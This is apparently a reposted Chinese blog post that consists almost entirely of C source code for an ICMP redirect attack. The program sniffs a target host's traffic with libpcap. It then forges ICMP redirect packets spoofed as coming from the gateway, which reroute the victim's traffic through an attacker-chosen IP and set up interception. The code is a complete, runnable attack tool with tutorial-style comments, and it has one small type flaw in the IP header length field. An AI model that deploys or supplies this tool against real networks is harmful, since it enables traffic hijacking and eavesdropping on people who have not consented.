信息安全-ICMP重定向攻击实现代码

#include <stdio.h>
#include <pcap.h>
#include <time.h>
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <netinet/in.h>
#include <netinet/ip_icmp.h>
#include <unistd.h>

#define MAX 1024
#define SIZE_ETHERNET 14

char *TARGET_IP,*REDIRECT_IP,*GW_IP;

/*sockaddr_in结构体内容:
 struct sockaddr_in {
         short   sin_family;
         u_short sin_port;
         struct  in_addr sin_addr;
         char    sin_zero[8];
 };
 */
struct sockaddr_in target_ip,restrict_ip,gw_ip;

/* 定义IP 头部:总长度20字节 */
struct ip_header{
    
    
#ifdef WORDS_BIGENDIAN//大端顺序
    u_int8_t version:4;//版本号
    u_int8_t header_length:4;//头部长度
#else //小端顺序
    u_int8_t header_length:4;
    u_int8_t version:4;
#endif
    u_int8_t tos;//服务类型
    u_int8_t total_length;//总长度
    u_int16_t id;//标识
    u_int16_t frag_off;//标志+分片偏移
    u_int8_t ttl;//生存时间
    u_int8_t protocol;//协议
    u_int16_t checksum;//首部校验和
    struct in_addr source_address;//源IP
    struct in_addr destination_address;//目的IP
};

// 定义ICMP报文首部
struct icmp_header{
    
    
    u_int8_t type;
    u_int8_t code;
    u_int16_t checksum;
    struct in_addr gateway_addr;//目标路由IP
};

/* 计算校验和
1. 把校验和字段设置为0
2. 对首部中每个16比特进行二进制反码求和
 */ 
u_int16_t checksum(u_int8_t *buf,int len){
    
    
    u_int32_t sum=0;
    u_int16_t *cbuf;

    //将需要校验的数据看作以16位为单位的数字组成(buf:IP头部和ICMP头部的起始地址)
    cbuf=(u_int16_t *)buf;
    //对IP头部的每16bits进行二进制求和
    while(len>1){
    
     //因为sizeof一次加上2个字节,如果结尾还剩一个字节就会产生错误
        sum+=*cbuf++;
        len-=2;
    }
    if(len){
    
    //只剩下一个字节时进行加法运算
        sum+=*(u_int8_t*)cbuf;
    }

    // 32位 -> 16位
    sum=(sum>>16)+(sum&0xffff);//将高于16位(右移)与低16位(高位填充0)相加
    sum+=(sum>>16);//如果还有高于16位,将继续与高16位相加

    return ~sum;//取反(返回的是十进制)
}

/* 构造并发送重定向报文
  data:指向包含由pcap_loop()嗅探的整个数据包数据的第一个字节(要使用它,必须做一些类型转换)
*/
void icmp_redirect(int sockfd,const unsigned char *data,int datalen){
    
    
    struct sockaddr_in dest;// 发包的目的地址(攻击地址)
    // 构造的ICMP重定向包
    struct packet {
    
    
        struct ip_header iph;//IP首部
        struct icmp_header icmph;//ICMP重定向
        char data[28];//原始IP首部及数据部分(20 + 8个字节)
    } packet;

    //填充IP头部
    packet.iph.version=4;
    packet.iph.header_length=5;
    packet.iph.tos=0;
    packet.iph.total_length=htons(56);//20+8+28
    packet.iph.id=getpid();//标识号,只要包之间的包一致就行
    packet.iph.frag_off=0;
    packet.iph.ttl=255;//生存时间设为最大
    packet.iph.protocol=IPPROTO_ICMP;//Icmp:1,tcp:6,udp:17
    packet.iph.checksum=0;//先填入0,再进行计算
    packet.iph.source_address=gw_ip.sin_addr;//伪造网关发送IP报文(网关地址)
    packet.iph.destination_address=target_ip.sin_addr;//被攻击主机地址
    
    //填充icmp首部
    packet.icmph.type=ICMP_REDIRECT;//类型
    packet.icmph.code=ICMP_REDIRECT_HOST;//代码
    packet.icmph.checksum=0;
    packet.icmph.gateway_addr=restrict_ip.sin_addr;//重定向到新的路由(攻击者IP)
    
    //从源数据包的内存地址起始地址开始,拷贝28个字节到目标地址所指的起始位置中(memcpy可以复制任何类型,而strcpy只能复制字符串)
    //SIZE_ETHERNET 14 帧首部长度
    memcpy(packet.data, (data+SIZE_ETHERNET), 28);
    
    // 设置校验和
    //IP检查和仅包含首部
    packet.iph.checksum=checksum((u_int8_t *)&packet.iph, sizeof(packet.iph));
    //ICMP检查和包含首部和数据部分
    packet.icmph.checksum=checksum((u_int8_t *)&packet.icmph, sizeof(packet.icmph)+28);

    /** 用于非可靠连接的数据数据发送,因为UDP方式未建立SOCKET连接,所以需要自己制定目的协议地址
	 *  发送端套接字描述符
     *  待发送数据的缓冲区
     *  待发送数据长度IP头+ICMP头(8)+IP首部+IP前8字节,
     *  flag标志位,一般为0
     *  数据发送的目的地址
     *  地址长度
     */
    dest.sin_family=AF_INET;//IP地址族
    dest.sin_addr=target_ip.sin_addr;//目标IP
    sendto(sockfd, &packet, 56, 0, (struct sockaddr*)&dest, sizeof(dest));
    printf("a redirect packets has been sent....\n\n");
}

/*
pcap_loop()不知道如何处理返回值,所以返回值为空
第一个参数是回调函数的最后一个参数,
第二个参数包括数据包被嗅探的时间大小等信息
第三个参数是一个u_char指针,它包含被pcap_loop()嗅探到的所有包(一个包包含许多属性,它不止一个字符串,而是一个结构体的集合,
如一个tcp/ip包包含以太网头部,一个ip头部还有tcp头部,还有此包的有效载荷)
*/
void getPacket(u_char * args,const struct pcap_pkthdr *pkthdr,const u_char * packet){
    
    
    int sockfd, res;
    int one=1;
    int *ptr_one=&one;

    // 构造的是ICMP数据包
    if ((sockfd=socket(AF_INET, SOCK_RAW, IPPROTO_ICMP))<0) {
    
    //面向链路层的套接字
        printf("creat sockfd error\n");
        exit(-1);
    }

    /** 定义ICMP头部
     *  s:一个打开的套接字的描述符
     *  level:指定选项代码的类型
     *         SOL_SOCKET  :基本套接口
     *         IPPROTO_IP  :IPv4套接口
     *         IPPROTO_IPV6:IPv6套接口
     *         IPPROTO_TCP :TCP套接口
     *  optname:需设置的选项的名称
     *  optval:指向存放选项值的缓冲区的指针
     *  optlen:optval缓冲区长度
     *  返回值int:标志打开或关闭某个特征的二进制选项
     */
    res=setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, ptr_one, sizeof(one));
    if (res<0){
    
    
        printf("error--\n");
        exit(-3);
    }
    
    // 填充数据部分(传入socket描述符,原始数据帧地址)
    icmp_redirect(sockfd, packet, 0);
}

//开始对目标主机的对应接口进行嗅探【进行抓包,将抓到的包交给pcap_loop处理】
int setup_sniffer(char *dev) {
    
    
    // 1. 设置设备【设备为ens33】
    char errbuf[PCAP_ERRBUF_SIZE];
    bpf_u_int32 mask;//嗅探目标网络设备的dev掩码
    bpf_u_int32 net;//目标网络设备dev的ip
    /** 查找网络设备
	 *  返回可被调用的网络折别名指针,errBuf存放出错信息字符串
	 * */
    if(pcap_lookupnet(dev, &net, &mask, errbuf)==-1){
    
     // dev为需要嗅探的设备
        fprintf(stderr, "Can't get netmask for device %s\n",dev);
        net=0;
        mask=0;
    }

    // 2. 打开设备进行嗅探
    /** 获得数据包捕获描述字函数(设备名称,参与定义捕获数据的最大字节数,是否置于混杂模式,设置超时时间0表示没有超时等待,errBuf是出错返回NULL时用于传递错误信息)
	 *  device: 网络接口字符串,也可人为指定
     *  snaplen:捕获数据包的长度,最大65535字节
     *  promise:1表示混杂模式
     *  to_ms:  需要等待的毫秒数,超过后函数立即返回
     *  ebuf:   存放错误信息
     *  返回值pcap_t:pcap_t类型指针,后面操作都要用到该指针(文件句柄)
	 * */
    pcap_t *device=pcap_open_live(dev, 65535, 1, 0, errbuf);//打开设备进行嗅探
    if (device==NULL) {
    
    
        fprintf(stderr, "Couldn't open device %s:%s\n",dev,errbuf);
        return (2);
    }

    // 3. 制定过滤规则【对流量进行过滤需要使用pcap_compile()和pcap_setfilter()】
    struct bpf_program filter;
    char filterstr[50]={
    
    0};
    sprintf(filterstr, "src host %s",inet_ntoa(target_ip.sin_addr));
    
    /** 将用户制定的过滤策略编译到过滤程序中
     *  p:pcap会话句柄
     *  fp:存放编译后的规则
     *  str:规则表达式
     *  optimize:指定优化选项,1true,0false
     *  netmask:舰艇接口的网络掩码
     *  返回值int:失败返回-1,成功返回其他值
	 * */
    if (pcap_compile(device, &filter, filterstr, 1, net)==-1){
    
    //过滤流量
        fprintf(stderr, "Couldn't parse filter %s:%s\n",filterstr,pcap_geterr(device));
        return (2);
    }

    //设置过滤器
    pcap_setfilter(device, &filter);
    printf("sniffing at %s....\n\n",TARGET_IP);

    // 4. 具体的操作
    /** 循环捕获网络数据包,直至遇到错误或满足退出条件,每次捕获都会调用callback指定的回调函数,可以在该函数中进行数据包的处理操作
	 *  p:pcap_open_live()返回的pcap_t类型的指针
     *  cnt:指定捕获数据包的个数【负值意味着它应该嗅探直到发生错误】
     *  callback:回调函数【每次获取新数据包时,都会调用回调函数】
     *  user:向回调函数中传递的参数
     *  返回值int:成功返回0,失败返回负数
	 * */
    pcap_loop(device , -1, getPacket, NULL);

    // 5. 关闭并释放资源
    pcap_close(device);
    return 0;
    
}


int main(int argc, const char * argv[]) {
    
    
    if(argc!=5){
    
    
        printf("usage: %s target_ip redirect_ip gateway_ip sniff_dev\n",argv[0]);
        exit(1);
    }
    //inet_aton:将一个字符串IP地址转换为一个32位的网络序列IP地址
    if(inet_aton(argv[1],&target_ip.sin_addr)==0){
    
    
        printf("bad ip address %s\n",argv[1]);
        exit(1);
    }
    //设置攻击的目标主机
    TARGET_IP=argv[1];

    if (inet_aton(argv[2], &restrict_ip.sin_addr) == 0) {
    
    
        printf("bad ip address %s\n", argv[2]);
        exit(1);
    }
    //重定向主机
    REDIRECT_IP = argv[2];

    if (inet_aton(argv[3], &gw_ip.sin_addr) == 0) {
    
    
        printf("bad ip address %s\n", argv[3]);
        exit(1);
    }
    //网关
    GW_IP = argv[3];
    //侦听设备
    char * dev = argv[4];
    printf("target:%s\n redirect:%s\n gw:%s\n dev:%s\n\n",TARGET_IP, REDIRECT_IP, GW_IP, dev);
    // 进行抓包
    setup_sniffer(dev); 
}

猜你喜欢

转载自blog.csdn.net/qq_39736597/article/details/111770048